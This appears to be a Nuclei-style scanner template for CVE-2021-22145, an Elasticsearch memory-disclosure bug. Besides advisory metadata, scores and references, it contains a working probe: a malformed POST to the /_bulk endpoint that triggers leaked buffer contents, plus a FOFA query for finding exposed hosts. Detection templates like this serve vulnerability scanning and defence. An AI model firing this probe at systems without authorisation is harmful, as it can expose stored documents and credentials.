57 lines
2.2 KiB
YAML
57 lines
2.2 KiB
YAML
id: CVE-2021-22145
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info:
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name: Elasticsearch 7.10.0-7.13.3 - Information Disclosure
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author: dhiyaneshDk
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severity: medium
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description: ElasticSsarch 7.10.0 to 7.13.3 is susceptible to information disclosure. A user with the ability to submit arbitrary queries can submit a malformed query that results in an error message containing previously used portions of a data buffer. This buffer can contain sensitive information such as Elasticsearch documents or authentication details, thus potentially leading to data modification and/or execution of unauthorized operations.
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impact: |
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An attacker can exploit this vulnerability to gain unauthorized access to sensitive information.
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remediation: |
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Upgrade Elasticsearch to a version that is not affected by CVE-2021-22145.
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reference:
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- https://github.com/jaeles-project/jaeles-signatures/blob/e9595197c80521d64e31b846808095dd07c407e9/cves/elasctic-memory-leak-cve-2021-22145.yaml
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- https://packetstormsecurity.com/files/163648/ElasticSearch-7.13.3-Memory-Disclosure.html
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- https://discuss.elastic.co/t/elasticsearch-7-13-4-security-update/279177
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- https://nvd.nist.gov/vuln/detail/CVE-2021-22145
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- https://security.netapp.com/advisory/ntap-20210827-0006/
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
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cvss-score: 6.5
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cve-id: CVE-2021-22145
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cwe-id: CWE-209
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epss-score: 0.96444
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epss-percentile: 0.99578
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cpe: cpe:2.3:a:elastic:elasticsearch:*:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: elastic
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product: elasticsearch
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fofa-query: index_not_found_exception
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tags: cve2021,cve,elasticsearch,packetstorm,elastic
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http:
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- method: POST
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path:
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- '{{BaseURL}}/_bulk'
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body: |
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@
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headers:
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Content-Type: application/json
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- 'root_cause'
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- 'truncated'
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- 'reason'
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condition: and
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- type: status
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status:
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- 400
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# digest: 490a0046304402200ae0e81a1c19ce52ceb50640f4c1ab86ac60b6379dbbe6f47792a4572e351d0c02203f716a5a8e0d7c6faa8e9672792f913b374029ef53dff1690395b0a63e688dcc:922c64590222798bb761d5b6d8e72950 |